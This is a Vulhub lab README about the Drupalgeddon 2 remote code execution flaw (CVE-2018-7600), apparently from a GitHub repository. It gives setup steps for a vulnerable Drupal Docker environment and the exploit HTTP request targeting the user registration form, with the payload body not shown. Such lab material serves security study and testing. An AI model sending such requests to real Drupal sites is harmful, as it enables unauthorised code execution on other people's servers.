Skip to content
Branch: master
Find file History
GlitchWitchIO and phith0n Merge some translations from GlitchWitchIO/vulhub-en (#59)
* Updated english readme. Fixed some grammar.

* Inital translation for Drupal CVE-2018-7600

* Inital translation for Aria2 RCE

* Inital translation for CVE-2014-6271

* Added links to chinese version

* Inital translation of contributors page

* Updated to include some suggestion from @sfdye in #59
Latest commit 4a4c6a0 Sep 6, 2018
Type Name Latest commit message Commit time
Failed to load latest commit information.
1.png [ImgBot] optimizes images Sep 1, 2018 Merge some translations from GlitchWitchIO/vulhub-en (#59) Sep 6, 2018 Merge some translations from GlitchWitchIO/vulhub-en (#59) Sep 6, 2018

Drupal Drupalgeddon 2 Remote Code Execution Vulnerability (CVE-2018-7600)

中文版本(Chinese version)

Drupal before 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8.5.1 allows remote attackers to execute arbitrary code because of an issue affecting multiple subsystems with default or common module configurations including the Form API.


Vulnerable environment

Run the following command to start a vulnerable Drupal 8.5.0 environment:

docker-compose up -d

After the environment is started, visit http://your-ip:8080/ and you will see the drupal installation page. Complete the drupal installation using the "standard" profile. Because there is no mysql environment, you should select sqlite database when installing. Once the installation is complete you are ready to start exploiting it.


Referring to a2u/CVE-2018-7600, we can send the following request to drupal:

POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 103


Upon successful execution of the code, the id command is executed:

You can’t perform that action at this time.